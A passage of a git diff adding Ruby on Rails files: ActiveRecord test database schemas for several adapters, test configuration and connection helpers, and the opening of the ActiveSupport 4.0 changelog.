+ FOR EACH ROW EXECUTE PROCEDURE partitioned_insert_trigger();
+_SQL
+ rescue ActiveRecord::StatementInvalid => e
+ if e.message =~ /language "plpgsql" does not exist/
+ execute "CREATE LANGUAGE 'plpgsql';"
+ retry
+ else
+ raise e
+ end
+ end
+
+ begin
+ execute <<_SQL
+ CREATE TABLE postgresql_xml_data_type (
+ id SERIAL PRIMARY KEY,
+ data xml
+ );
+_SQL
+ rescue #This version of PostgreSQL either has no XML support or is was not compiled with XML support: skipping table
+ end
+
+ # This table is to verify if the :limit option is being ignored for text and binary columns
+ create_table :limitless_fields, force: true do |t|
+ t.binary :binary, limit: 100_000
+ t.text :text, limit: 100_000
+ end
+end
+
diff --git a/activerecord/test/schema/schema.rb b/activerecord/test/schema/schema.rb
new file mode 100644
index 0000000..8beb58f
--- /dev/null
+++ b/activerecord/test/schema/schema.rb
@@ -0,0 +1,808 @@
+ActiveRecord::Schema.define do
+ def except(adapter_names_to_exclude)
+ unless [adapter_names_to_exclude].flatten.include?(adapter_name)
+ yield
+ end
+ end
+
+ #put adapter specific setup here
+ case adapter_name
+ # For Firebird, set the sequence values 10000 when create_table is called;
+ # this prevents primary key collisions between "normally" created records
+ # and fixture-based (YAML) records.
+ when "Firebird"
+ def create_table(*args, &block)
+ ActiveRecord::Base.connection.create_table(*args, &block)
+ ActiveRecord::Base.connection.execute "SET GENERATOR #{args.first}_seq TO 10000"
+ end
+ end
+
+
+ # ------------------------------------------------------------------- #
+ # #
+ # Please keep these create table statements in alphabetical order #
+ # unless the ordering matters. In which case, define them below. #
+ # #
+ # ------------------------------------------------------------------- #
+
+ create_table :accounts, :force => true do |t|
+ t.integer :firm_id
+ t.string :firm_name
+ t.integer :credit_limit
+ end
+
+ create_table :admin_accounts, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :admin_users, :force => true do |t|
+ t.string :name
+ t.string :settings, :null => true, :limit => 1024
+ # MySQL does not allow default values for blobs. Fake it out with a
+ # big varchar below.
+ t.string :preferences, :null => true, :default => '', :limit => 1024
+ t.string :json_data, :null => true, :limit => 1024
+ t.string :json_data_empty, :null => true, :default => "", :limit => 1024
+ t.references :account
+ end
+
+ create_table :aircraft, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :audit_logs, :force => true do |t|
+ t.column :message, :string, :null=>false
+ t.column :developer_id, :integer, :null=>false
+ t.integer :unvalidated_developer_id
+ end
+
+ create_table :authors, :force => true do |t|
+ t.string :name, :null => false
+ t.integer :author_address_id
+ t.integer :author_address_extra_id
+ t.string :organization_id
+ t.string :owned_essay_id
+ end
+
+ create_table :author_addresses, :force => true do |t|
+ end
+
+ create_table :author_favorites, :force => true do |t|
+ t.column :author_id, :integer
+ t.column :favorite_author_id, :integer
+ end
+
+ create_table :auto_id_tests, :force => true, :id => false do |t|
+ t.primary_key :auto_id
+ t.integer :value
+ end
+
+ create_table :binaries, :force => true do |t|
+ t.string :name
+ t.binary :data
+ t.binary :short_data, :limit => 2048
+ end
+
+ create_table :birds, :force => true do |t|
+ t.string :name
+ t.string :color
+ t.integer :pirate_id
+ end
+
+ create_table :books, :force => true do |t|
+ t.integer :author_id
+ t.column :name, :string
+ end
+
+ create_table :booleans, :force => true do |t|
+ t.boolean :value
+ t.boolean :has_fun, :null => false, :default => false
+ end
+
+ create_table :bulbs, :force => true do |t|
+ t.integer :car_id
+ t.string :name
+ t.boolean :frickinawesome
+ t.string :color
+ end
+
+ create_table "CamelCase", :force => true do |t|
+ t.string :name
+ end
+
+ create_table :cars, :force => true do |t|
+ t.string :name
+ t.integer :engines_count
+ t.integer :wheels_count
+ t.column :lock_version, :integer, :null => false, :default => 0
+ t.timestamps
+ end
+
+ create_table :categories, :force => true do |t|
+ t.string :name, :null => false
+ t.string :type
+ t.integer :categorizations_count
+ end
+
+ create_table :categories_posts, :force => true, :id => false do |t|
+ t.integer :category_id, :null => false
+ t.integer :post_id, :null => false
+ end
+
+ create_table :categorizations, :force => true do |t|
+ t.column :category_id, :integer
+ t.string :named_category_name
+ t.column :post_id, :integer
+ t.column :author_id, :integer
+ t.column :special, :boolean
+ end
+
+ create_table :citations, :force => true do |t|
+ t.column :book1_id, :integer
+ t.column :book2_id, :integer
+ end
+
+ create_table :clubs, :force => true do |t|
+ t.string :name
+ t.integer :category_id
+ end
+
+ create_table :collections, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :colnametests, :force => true do |t|
+ t.integer :references, :null => false
+ end
+
+ create_table :comments, :force => true do |t|
+ t.integer :post_id, :null => false
+ # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
+ # Oracle SELECT WHERE clause which causes many unit test failures
+ if current_adapter?(:OracleAdapter)
+ t.string :body, :null => false, :limit => 4000
+ else
+ t.text :body, :null => false
+ end
+ t.string :type
+ t.integer :taggings_count, :default => 0
+ t.integer :children_count, :default => 0
+ t.integer :parent_id
+ end
+
+ create_table :companies, :force => true do |t|
+ t.string :type
+ t.integer :firm_id
+ t.string :firm_name
+ t.string :name
+ t.integer :client_of
+ t.integer :rating, :default => 1
+ t.integer :account_id
+ t.string :description, :default => ""
+ end
+
+ add_index :companies, [:firm_id, :type, :rating], :name => "company_index"
+ add_index :companies, [:firm_id, :type], :name => "company_partial_index", :where => "rating > 10"
+ add_index :companies, :name, :name => 'company_name_index', :using => :btree
+
+ create_table :vegetables, :force => true do |t|
+ t.string :name
+ t.integer :seller_id
+ t.string :custom_type
+ end
+
+ create_table :computers, :force => true do |t|
+ t.integer :developer, :null => false
+ t.integer :extendedWarranty, :null => false
+ end
+
+ create_table :contracts, :force => true do |t|
+ t.integer :developer_id
+ t.integer :company_id
+ end
+
+ create_table :customers, :force => true do |t|
+ t.string :name
+ t.integer :balance, :default => 0
+ t.string :address_street
+ t.string :address_city
+ t.string :address_country
+ t.string :gps_location
+ end
+
+ create_table :dashboards, :force => true, :id => false do |t|
+ t.string :dashboard_id
+ t.string :name
+ end
+
+ create_table :developers, :force => true do |t|
+ t.string :name
+ t.integer :salary, :default => 70000
+ t.datetime :created_at
+ t.datetime :updated_at
+ t.datetime :created_on
+ t.datetime :updated_on
+ end
+
+ create_table :developers_projects, :force => true, :id => false do |t|
+ t.integer :developer_id, :null => false
+ t.integer :project_id, :null => false
+ t.date :joined_on
+ t.integer :access_level, :default => 1
+ end
+
+ create_table :dog_lovers, force: true do |t|
+ t.integer :trained_dogs_count, default: 0
+ t.integer :bred_dogs_count, default: 0
+ t.integer :dogs_count, default: 0
+ end
+
+ create_table :dogs, :force => true do |t|
+ t.integer :trainer_id
+ t.integer :breeder_id
+ t.integer :dog_lover_id
+ end
+
+ create_table :edges, :force => true, :id => false do |t|
+ t.column :source_id, :integer, :null => false
+ t.column :sink_id, :integer, :null => false
+ end
+ add_index :edges, [:source_id, :sink_id], :unique => true, :name => 'unique_edge_index'
+
+ create_table :engines, :force => true do |t|
+ t.integer :car_id
+ end
+
+ create_table :entrants, :force => true do |t|
+ t.string :name, :null => false
+ t.integer :course_id, :null => false
+ end
+
+ create_table :essays, :force => true do |t|
+ t.string :name
+ t.string :writer_id
+ t.string :writer_type
+ t.string :category_id
+ t.string :author_id
+ end
+
+ create_table :events, :force => true do |t|
+ t.string :title, :limit => 5
+ end
+
+ create_table :eyes, :force => true do |t|
+ end
+
+ create_table :funny_jokes, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :cold_jokes, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :friendships, :force => true do |t|
+ t.integer :friend_id
+ t.integer :follower_id
+ end
+
+ create_table :goofy_string_id, :force => true, :id => false do |t|
+ t.string :id, :null => false
+ t.string :info
+ end
+
+ create_table :having, :force => true do |t|
+ t.string :where
+ end
+
+ create_table :guids, :force => true do |t|
+ t.column :key, :string
+ end
+
+ create_table :inept_wizards, :force => true do |t|
+ t.column :name, :string, :null => false
+ t.column :city, :string, :null => false
+ t.column :type, :string
+ end
+
+ create_table :integer_limits, :force => true do |t|
+ t.integer :"c_int_without_limit"
+ (1..8).each do |i|
+ t.integer :"c_int_#{i}", :limit => i
+ end
+ end
+
+ create_table :invoices, :force => true do |t|
+ t.integer :balance
+ t.datetime :updated_at
+ end
+
+ create_table :iris, :force => true do |t|
+ t.references :eye
+ t.string :color
+ end
+
+ create_table :items, :force => true do |t|
+ t.column :name, :string
+ end
+
+ create_table :jobs, :force => true do |t|
+ t.integer :ideal_reference_id
+ end
+
+ create_table :keyboards, :force => true, :id => false do |t|
+ t.primary_key :key_number
+ t.string :name
+ end
+
+ create_table :legacy_things, :force => true do |t|
+ t.integer :tps_report_number
+ t.integer :version, :null => false, :default => 0
+ end
+
+ create_table :lessons, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :lessons_students, :id => false, :force => true do |t|
+ t.references :lesson
+ t.references :student
+ end
+
+ create_table :lint_models, :force => true
+
+ create_table :line_items, :force => true do |t|
+ t.integer :invoice_id
+ t.integer :amount
+ end
+
+ create_table :lock_without_defaults, :force => true do |t|
+ t.column :lock_version, :integer
+ end
+
+ create_table :lock_without_defaults_cust, :force => true do |t|
+ t.column :custom_lock_version, :integer
+ end
+
+ create_table :mateys, :id => false, :force => true do |t|
+ t.column :pirate_id, :integer
+ t.column :target_id, :integer
+ t.column :weight, :integer
+ end
+
+ create_table :members, :force => true do |t|
+ t.string :name
+ t.integer :member_type_id
+ end
+
+ create_table :member_details, :force => true do |t|
+ t.integer :member_id
+ t.integer :organization_id
+ t.string :extra_data
+ end
+
+ create_table :member_friends, :force => true, :id => false do |t|
+ t.integer :member_id
+ t.integer :friend_id
+ end
+
+ create_table :memberships, :force => true do |t|
+ t.datetime :joined_on
+ t.integer :club_id, :member_id
+ t.boolean :favourite, :default => false
+ t.string :type
+ end
+
+ create_table :member_types, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :minivans, :force => true, :id => false do |t|
+ t.string :minivan_id
+ t.string :name
+ t.string :speedometer_id
+ t.string :color
+ end
+
+ create_table :minimalistics, :force => true do |t|
+ end
+
+ create_table :mixed_case_monkeys, :force => true, :id => false do |t|
+ t.primary_key :monkeyID
+ t.integer :fleaCount
+ end
+
+ create_table :mixins, :force => true do |t|
+ t.integer :parent_id
+ t.integer :pos
+ t.datetime :created_at
+ t.datetime :updated_at
+ t.integer :lft
+ t.integer :rgt
+ t.integer :root_id
+ t.string :type
+ end
+
+ create_table :movies, :force => true, :id => false do |t|
+ t.primary_key :movieid
+ t.string :name
+ end
+
+ create_table :numeric_data, :force => true do |t|
+ t.decimal :bank_balance, :precision => 10, :scale => 2
+ t.decimal :big_bank_balance, :precision => 15, :scale => 2
+ t.decimal :world_population, :precision => 10, :scale => 0
+ t.decimal :my_house_population, :precision => 2, :scale => 0
+ t.decimal :decimal_number_with_default, :precision => 3, :scale => 2, :default => 2.78
+ t.float :temperature
+ # Oracle/SQLServer supports precision up to 38
+ if current_adapter?(:OracleAdapter,:SQLServerAdapter)
+ t.decimal :atoms_in_universe, :precision => 38, :scale => 0
+ else
+ t.decimal :atoms_in_universe, :precision => 55, :scale => 0
+ end
+ end
+
+ create_table :orders, :force => true do |t|
+ t.string :name
+ t.integer :billing_customer_id
+ t.integer :shipping_customer_id
+ end
+
+ create_table :organizations, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :owners, :primary_key => :owner_id ,:force => true do |t|
+ t.string :name
+ t.column :updated_at, :datetime
+ t.column :happy_at, :datetime
+ t.string :essay_id
+ end
+
+ create_table :paint_colors, :force => true do |t|
+ t.integer :non_poly_one_id
+ end
+
+ create_table :paint_textures, :force => true do |t|
+ t.integer :non_poly_two_id
+ end
+
+ create_table :parrots, :force => true do |t|
+ t.column :name, :string
+ t.column :color, :string
+ t.column :parrot_sti_class, :string
+ t.column :killer_id, :integer
+ t.column :created_at, :datetime
+ t.column :created_on, :datetime
+ t.column :updated_at, :datetime
+ t.column :updated_on, :datetime
+ end
+
+ create_table :parrots_pirates, :id => false, :force => true do |t|
+ t.column :parrot_id, :integer
+ t.column :pirate_id, :integer
+ end
+
+ create_table :parrots_treasures, :id => false, :force => true do |t|
+ t.column :parrot_id, :integer
+ t.column :treasure_id, :integer
+ end
+
+ create_table :people, :force => true do |t|
+ t.string :first_name, :null => false
+ t.references :primary_contact
+ t.string :gender, :limit => 1
+ t.references :number1_fan
+ t.integer :lock_version, :null => false, :default => 0
+ t.string :comments
+ t.integer :followers_count, :default => 0
+ t.integer :friends_too_count, :default => 0
+ t.references :best_friend
+ t.references :best_friend_of
+ t.integer :insures, null: false, default: 0
+ t.timestamps
+ end
+
+ create_table :peoples_treasures, :id => false, :force => true do |t|
+ t.column :rich_person_id, :integer
+ t.column :treasure_id, :integer
+ end
+
+ create_table :pets, :primary_key => :pet_id ,:force => true do |t|
+ t.string :name
+ t.integer :owner_id, :integer
+ t.timestamps
+ end
+
+ create_table :pirates, :force => true do |t|
+ t.column :catchphrase, :string
+ t.column :parrot_id, :integer
+ t.integer :non_validated_parrot_id
+ t.column :created_on, :datetime
+ t.column :updated_on, :datetime
+ end
+
+ create_table :posts, :force => true do |t|
+ t.integer :author_id
+ t.string :title, :null => false
+ # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
+ # Oracle SELECT WHERE clause which causes many unit test failures
+ if current_adapter?(:OracleAdapter)
+ t.string :body, :null => false, :limit => 4000
+ else
+ t.text :body, :null => false
+ end
+ t.string :type
+ t.integer :comments_count, :default => 0
+ t.integer :taggings_count, :default => 0
+ t.integer :taggings_with_delete_all_count, :default => 0
+ t.integer :taggings_with_destroy_count, :default => 0
+ t.integer :tags_count, :default => 0
+ t.integer :tags_with_destroy_count, :default => 0
+ t.integer :tags_with_nullify_count, :default => 0
+ end
+
+ create_table :price_estimates, :force => true do |t|
+ t.string :estimate_of_type
+ t.integer :estimate_of_id
+ t.integer :price
+ end
+
+ create_table :products, :force => true do |t|
+ t.references :collection
+ t.string :name
+ end
+
+ create_table :projects, :force => true do |t|
+ t.string :name
+ t.string :type
+ end
+
+ create_table :randomly_named_table, :force => true do |t|
+ t.string :some_attribute
+ t.integer :another_attribute
+ end
+
+ create_table :ratings, :force => true do |t|
+ t.integer :comment_id
+ t.integer :value
+ end
+
+ create_table :readers, :force => true do |t|
+ t.integer :post_id, :null => false
+ t.integer :person_id, :null => false
+ t.boolean :skimmer, :default => false
+ t.integer :first_post_id
+ end
+
+ create_table :references, :force => true do |t|
+ t.integer :person_id
+ t.integer :job_id
+ t.boolean :favourite
+ t.integer :lock_version, :default => 0
+ end
+
+ create_table :shape_expressions, :force => true do |t|
+ t.string :paint_type
+ t.integer :paint_id
+ t.string :shape_type
+ t.integer :shape_id
+ end
+
+ create_table :ships, :force => true do |t|
+ t.string :name
+ t.integer :pirate_id
+ t.integer :update_only_pirate_id
+ t.datetime :created_at
+ t.datetime :created_on
+ t.datetime :updated_at
+ t.datetime :updated_on
+ end
+
+ create_table :ship_parts, :force => true do |t|
+ t.string :name
+ t.integer :ship_id
+ end
+
+ create_table :speedometers, :force => true, :id => false do |t|
+ t.string :speedometer_id
+ t.string :name
+ t.string :dashboard_id
+ end
+
+ create_table :sponsors, :force => true do |t|
+ t.integer :club_id
+ t.integer :sponsorable_id
+ t.string :sponsorable_type
+ end
+
+ create_table :string_key_objects, :id => false, :primary_key => :id, :force => true do |t|
+ t.string :id
+ t.string :name
+ t.integer :lock_version, :null => false, :default => 0
+ end
+
+ create_table :students, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :subscribers, :force => true, :id => false do |t|
+ t.string :nick, :null => false
+ t.string :name
+ t.column :books_count, :integer, :null => false, :default => 0
+ end
+ add_index :subscribers, :nick, :unique => true
+
+ create_table :subscriptions, :force => true do |t|
+ t.string :subscriber_id
+ t.integer :book_id
+ end
+
+ create_table :tags, :force => true do |t|
+ t.column :name, :string
+ t.column :taggings_count, :integer, :default => 0
+ end
+
+ create_table :taggings, :force => true do |t|
+ t.column :tag_id, :integer
+ t.column :super_tag_id, :integer
+ t.column :taggable_type, :string
+ t.column :taggable_id, :integer
+ t.string :comment
+ end
+
+ create_table :tasks, :force => true do |t|
+ t.datetime :starting
+ t.datetime :ending
+ end
+
+ create_table :topics, :force => true do |t|
+ t.string :title
+ t.string :author_name
+ t.string :author_email_address
+ t.datetime :written_on
+ t.time :bonus_time
+ t.date :last_read
+ # use VARCHAR2(4000) instead of CLOB datatype as CLOB data type has many limitations in
+ # Oracle SELECT WHERE clause which causes many unit test failures
+ if current_adapter?(:OracleAdapter)
+ t.string :content, :limit => 4000
+ t.string :important, :limit => 4000
+ else
+ t.text :content
+ t.text :important
+ end
+ t.boolean :approved, :default => true
+ t.integer :replies_count, :default => 0
+ t.integer :parent_id
+ t.string :parent_title
+ t.string :type
+ t.string :group
+ t.timestamps
+ end
+
+ create_table :toys, :primary_key => :toy_id ,:force => true do |t|
+ t.string :name
+ t.integer :pet_id, :integer
+ t.timestamps
+ end
+
+ create_table :traffic_lights, :force => true do |t|
+ t.string :location
+ t.string :state
+ t.text :long_state, :null => false
+ t.datetime :created_at
+ t.datetime :updated_at
+ end
+
+ create_table :treasures, :force => true do |t|
+ t.column :name, :string
+ t.column :type, :string
+ t.column :looter_id, :integer
+ t.column :looter_type, :string
+ end
+
+ create_table :tyres, :force => true do |t|
+ t.integer :car_id
+ end
+
+ create_table :variants, :force => true do |t|
+ t.references :product
+ t.string :name
+ end
+
+ create_table :vertices, :force => true do |t|
+ t.column :label, :string
+ end
+
+ create_table 'warehouse-things', :force => true do |t|
+ t.integer :value
+ end
+
+ [:circles, :squares, :triangles, :non_poly_ones, :non_poly_twos].each do |t|
+ create_table(t, :force => true) { }
+ end
+
+ # NOTE - the following 4 tables are used by models that have :inverse_of options on the associations
+ create_table :men, :force => true do |t|
+ t.string :name
+ end
+
+ create_table :faces, :force => true do |t|
+ t.string :description
+ t.integer :man_id
+ t.integer :polymorphic_man_id
+ t.string :polymorphic_man_type
+ t.integer :horrible_polymorphic_man_id
+ t.string :horrible_polymorphic_man_type
+ end
+
+ create_table :interests, :force => true do |t|
+ t.string :topic
+ t.integer :man_id
+ t.integer :polymorphic_man_id
+ t.string :polymorphic_man_type
+ t.integer :zine_id
+ end
+
+ create_table :wheels, :force => true do |t|
+ t.references :wheelable, :polymorphic => true
+ end
+
+ create_table :zines, :force => true do |t|
+ t.string :title
+ end
+
+ create_table :countries, :force => true, :id => false, :primary_key => 'country_id' do |t|
+ t.string :country_id
+ t.string :name
+ end
+ create_table :treaties, :force => true, :id => false, :primary_key => 'treaty_id' do |t|
+ t.string :treaty_id
+ t.string :name
+ end
+ create_table :countries_treaties, :force => true, :id => false do |t|
+ t.string :country_id, :null => false
+ t.string :treaty_id, :null => false
+ end
+
+ create_table :liquid, :force => true do |t|
+ t.string :name
+ end
+ create_table :molecules, :force => true do |t|
+ t.integer :liquid_id
+ t.string :name
+ end
+ create_table :electrons, :force => true do |t|
+ t.integer :molecule_id
+ t.string :name
+ end
+ create_table :weirds, :force => true do |t|
+ t.string 'a$b'
+ t.string 'from'
+ end
+
+ except 'SQLite' do
+ # fk_test_has_fk should be before fk_test_has_pk
+ create_table :fk_test_has_fk, :force => true do |t|
+ t.integer :fk_id, :null => false
+ end
+
+ create_table :fk_test_has_pk, :force => true do |t|
+ end
+
+ execute "ALTER TABLE fk_test_has_fk ADD CONSTRAINT fk_name FOREIGN KEY (#{quote_column_name 'fk_id'}) REFERENCES #{quote_table_name 'fk_test_has_pk'} (#{quote_column_name 'id'})"
+
+ execute "ALTER TABLE lessons_students ADD CONSTRAINT student_id_fk FOREIGN KEY (#{quote_column_name 'student_id'}) REFERENCES #{quote_table_name 'students'} (#{quote_column_name 'id'})"
+ end
+end
+
+Course.connection.create_table :courses, :force => true do |t|
+ t.column :name, :string, :null => false
+ t.column :college_id, :integer
+end
+
+College.connection.create_table :colleges, :force => true do |t|
+ t.column :name, :string, :null => false
+end
diff --git a/activerecord/test/schema/sqlite_specific_schema.rb b/activerecord/test/schema/sqlite_specific_schema.rb
new file mode 100644
index 0000000..e9ddeb3
--- /dev/null
+++ b/activerecord/test/schema/sqlite_specific_schema.rb
@@ -0,0 +1,25 @@
+ActiveRecord::Schema.define do
+ # For sqlite 3.1.0+, make a table with an autoincrement column
+ if supports_autoincrement?
+ create_table :table_with_autoincrement, :force => true do |t|
+ t.column :name, :string
+ end
+ end
+
+ execute "DROP TABLE fk_test_has_fk" rescue nil
+ execute "DROP TABLE fk_test_has_pk" rescue nil
+ execute <<_SQL
+ CREATE TABLE 'fk_test_has_pk' (
+ 'id' INTEGER NOT NULL PRIMARY KEY
+ );
+_SQL
+
+ execute <<_SQL
+ CREATE TABLE 'fk_test_has_fk' (
+ 'id' INTEGER NOT NULL PRIMARY KEY,
+ 'fk_id' INTEGER NOT NULL,
+
+ FOREIGN KEY ('fk_id') REFERENCES 'fk_test_has_pk'('id')
+ );
+_SQL
+end
\ No newline at end of file
diff --git a/activerecord/test/support/config.rb b/activerecord/test/support/config.rb
new file mode 100644
index 0000000..6d12368
--- /dev/null
+++ b/activerecord/test/support/config.rb
@@ -0,0 +1,43 @@
+require 'yaml'
+require 'erubis'
+require 'fileutils'
+require 'pathname'
+
+module ARTest
+ class << self
+ def config
+ @config ||= read_config
+ end
+
+ private
+
+ def config_file
+ Pathname.new(ENV['ARCONFIG'] || TEST_ROOT + '/config.yml')
+ end
+
+ def read_config
+ unless config_file.exist?
+ FileUtils.cp TEST_ROOT + '/config.example.yml', config_file
+ end
+
+ erb = Erubis::Eruby.new(config_file.read)
+ expand_config(YAML.parse(erb.result(binding)).transform)
+ end
+
+ def expand_config(config)
+ config['connections'].each do |adapter, connection|
+ dbs = [['arunit', 'activerecord_unittest'], ['arunit2', 'activerecord_unittest2']]
+ dbs.each do |name, dbname|
+ unless connection[name].is_a?(Hash)
+ connection[name] = { 'database' => connection[name] }
+ end
+
+ connection[name]['database'] ||= dbname
+ connection[name]['adapter'] ||= adapter
+ end
+ end
+
+ config
+ end
+ end
+end
diff --git a/activerecord/test/support/connection.rb b/activerecord/test/support/connection.rb
new file mode 100644
index 0000000..196b3a9
--- /dev/null
+++ b/activerecord/test/support/connection.rb
@@ -0,0 +1,21 @@
+require 'active_support/logger'
+require 'models/college'
+require 'models/course'
+
+module ARTest
+ def self.connection_name
+ ENV['ARCONN'] || config['default_connection']
+ end
+
+ def self.connection_config
+ config['connections'][connection_name]
+ end
+
+ def self.connect
+ puts "Using #{connection_name}"
+ ActiveRecord::Base.logger = ActiveSupport::Logger.new("debug.log", 0, 100 * 1024 * 1024)
+ ActiveRecord::Base.configurations = connection_config
+ ActiveRecord::Base.establish_connection 'arunit'
+ ARUnit2Model.establish_connection 'arunit2'
+ end
+end
diff --git a/activesupport/CHANGELOG.md b/activesupport/CHANGELOG.md
new file mode 100644
index 0000000..21add84
--- /dev/null
+++ b/activesupport/CHANGELOG.md
@@ -0,0 +1,510 @@
+## Rails 4.0.0 (unreleased) ##
+
+* Fix skipping of filters defined by objects in `ActiveSupport::Callbacks::Callback`.
+
+ *Ben McRedmond*
+
+* An `ActiveSupport::Subscriber` class has been extracted from
+ `ActiveSupport::LogSubscriber`, allowing you to use the event attachment
+ API for other kinds of subscribers.
+
+ *Daniel Schierbeck*
+
+* `Class#class_attribute` accepts an `instance_predicate` option which
+ defaults to `true`. If set to `false` the predicate method will not
+ be defined.
+
+ *Agis Anastasopoulos*
+
+* `fast_xs` support has been removed. Use `String#encode(xml: :attr)`.
+
+* `ActiveSupport::Notifications::Instrumenter#instrument` should
+ yield its payload.
+
+ *stopdropandrew*
+
+* `ActiveSupport::TimeWithZone` raises `NoMethodError` in proper context.
+ Fixes #9772.
+
+ *Yves Senn*
+
+* Fix deletion of empty directories in `ActiveSupport::Cache::FileStore`.
+
+ *Charles Jones*
+
+## Rails 4.0.0.beta1 (February 25, 2013) ##
+
+* Improve singularizing a singular for multiple cases.
+ Fixes #2608 #1825 #2395.
+
+ Example:
+
+ # Before
+ 'address'.singularize # => 'addres'
+
+ # After
+ 'address'.singularize # => 'address'
+
+ *Mark McSpadden*
+
+* Prevent `DateTime#change` from truncating the second fraction, when seconds
+ do not need to be changed.
+
+ *Chris Baynes*
+
+* Added `ActiveSupport::TimeWithZone#to_r` for `Time#at` compatibility.
+
+ Before this change:
+
+ Time.zone = 'Tokyo'
+ time = Time.zone.now
+ time == Time.at(time) # => false
+
+ After the change:
+
+ Time.zone = 'Tokyo'
+ time = Time.zone.now
+ time == Time.at(time) # => true
+
+ *stopdropandrew*
+
+* `ActiveSupport::NumberHelper#number_to_human` returns the number unaltered when
+ the given units hash does not contain the needed key, e.g. when the number provided
+ is less than the largest key provided.
+ Fixes #9269.
+
+ Examples:
+
+ number_to_human(123, units: {}) # => 123
+ number_to_human(123, units: { thousand: 'k' }) # => 123
+
+ *Michael Hoffman*
+
+* Added `beginning_of_minute` support to core ext calculations for `Time` and `DateTime`.
+
+ *Gagan Awhad*
+
+* Add `:nsec` date format.
+
+ *Jamie Gaskins*
+
+* `ActiveSupport::Gzip.compress` allows two optional arguments for compression
+ level and strategy.
+
+ *Beyond*
+
+* Modify `TimeWithZone#as_json` to include 3 decimal places of sub-second accuracy
+ by default, which is optional as per the ISO8601 spec, but extremely useful. Also
+ the default behaviour of `Date#toJSON()` in recent versions of Chrome, Safari and
+ Firefox.
+
+ *James Harton*
+
+* Improve `String#squish` to handle Unicode whitespace. *Antoine Lyset*
+
+* Standardise on `to_time` returning an instance of `Time` in the local system timezone
+ across `String`, `Time`, `Date`, `DateTime` and `ActiveSupport::TimeWithZone`.
+
+ *Andrew White*
+
+* Extract `ActiveSupport::Testing::Performance` into https://github.com/rails/rails-perftest
+ You can add the gem to your `Gemfile` to keep using performance tests.
+
+ gem 'rails-perftest'
+
+ *Yves Senn*
+
+* `Hash.from_xml` raises when it encounters `type="symbol"` or `type="yaml"`.
+ Use `Hash.from_trusted_xml` to parse this XML.
+
+ CVE-2013-0156
+
+ *Jeremy Kemper*
+
+* Deprecate `assert_present` and `assert_blank` in favor of
+ `assert object.blank?` and `assert object.present?`
+
+ *Yves Senn*
+
+* Change `String#to_date` to use `Date.parse`. This gives more consistent error
+ messages and allows the use of partial dates.
+
+ "gibberish".to_date => Argument Error: invalid date
+ "3rd Feb".to_date => Sun, 03 Feb 2013
+
+ *Kelly Stannard*
+
+* It's now possible to compare `Date`, `DateTime`, `Time` and `TimeWithZone`
+ with `Float::INFINITY`. This allows to create date/time ranges with one infinite bound.
+ Example:
+
+ range = Range.new(Date.today, Float::INFINITY)
+
+ Also it's possible to check inclusion of date/time in range with conversion.
+
+ range.include?(Time.now + 1.year) # => true
+ range.include?(DateTime.now + 1.year) # => true
+
+ *Alexander Grebennik*
+
+* Remove meaningless `ActiveSupport::FrozenObjectError`, which was just an alias of `RuntimeError`.
+
+ *Akira Matsuda*
+
+* Introduce `assert_not` to replace warty `assert !foo`. *Jeremy Kemper*
+
+* Prevent `Callbacks#set_callback` from setting the same callback twice.
+
+ before_save :foo, :bar, :foo
+
+ will at first call `bar`, then `foo`. `foo` will no more be called
+ twice.
+
+ *Dmitriy Kiriyenko*
+
+* Add `ActiveSupport::Logger#silence` that works the same as the old `Logger#silence` extension.
+
+ *DHH*
+
+* Remove surrogate unicode character encoding from `ActiveSupport::JSON.encode`
+ The encoding scheme was broken for unicode characters outside the basic multilingual plane;
+ since json is assumed to be UTF-8, and we already force the encoding to UTF-8,
+ simply pass through the un-encoded characters.
+
+ *Brett Carter*
+
+* Deprecate `Time.time_with_date_fallback`, `Time.utc_time` and `Time.local_time`.
+ These methods were added to handle the limited range of Ruby's native `Time`
+ implementation. Those limitations no longer apply so we are deprecating them in 4.0
+ and they will be removed in 4.1.
+
+ *Andrew White*
+
+* Deprecate `Date#to_time_in_current_zone` and add `Date#in_time_zone`. *Andrew White*
+
+* Add `String#in_time_zone` method to convert a string to an `ActiveSupport::TimeWithZone`. *Andrew White*
+
+* Deprecate `ActiveSupport::BasicObject` in favor of `ActiveSupport::ProxyObject`.
+ This class is used for proxy classes. It avoids confusion with Ruby's `BasicObject`
+ class.
+
+ *Francesco Rodriguez*
+
+* Patched `Marshal#load` to work with constant autoloading. Fixes autoloading
+ with cache stores that rely on `Marshal` (`MemCacheStore` and `FileStore`).
+ Fixes #8167.
+
+ *Uriel Katz*
+
+* Make `Time.zone.parse` to work with JavaScript format date strings. *Andrew White*
+
+* Add `DateTime#seconds_until_end_of_day` and `Time#seconds_until_end_of_day`
+ as a complement for `seconds_from_midnight`; useful when setting expiration
+ times for caches, e.g.:
+
+ <% cache('dashboard', expires_in: Date.current.seconds_until_end_of_day) do %>
+ ...
+
+ *Olek Janiszewski*
+
+* No longer proxy `ActiveSupport::Multibyte#class`. *Steve Klabnik*
+
+* Deprecate `ActiveSupport::TestCase#pending` method, use `skip` from minitest instead. *Carlos Antonio da Silva*
+
+* `XmlMini.with_backend` now may be safely used with threads:
+
+ Thread.new do
+ XmlMini.with_backend("REXML") { rexml_power }
+ end
+ Thread.new do
+ XmlMini.with_backend("LibXML") { libxml_power }
+ end
+
+ Each thread will use it's own backend.
+
+ *Nikita Afanasenko*
+
+* Dependencies no longer trigger `Kernel#autoload` in `remove_constant`. Fixes #8213. *Xavier Noria*
+
+* Simplify `mocha` integration and remove monkey-patches, bumping `mocha` to 0.13.0. *James Mead*
+
+* `#as_json` isolates options when encoding a hash. Fixes #8182.
+
+ *Yves Senn*
+
+* Deprecate `Hash#diff` in favor of minitest's #diff. *Steve Klabnik*
+
+* `Kernel#capture` can catch output from subprocesses. *Dmitry Vorotilin*
+
+* `to_xml` conversions now use builder's `tag!` method instead of explicit invocation of `method_missing`.
+
+ *Nikita Afanasenko*
+
+* Fixed timezone mapping of the Solomon Islands. *Steve Klabnik*
+
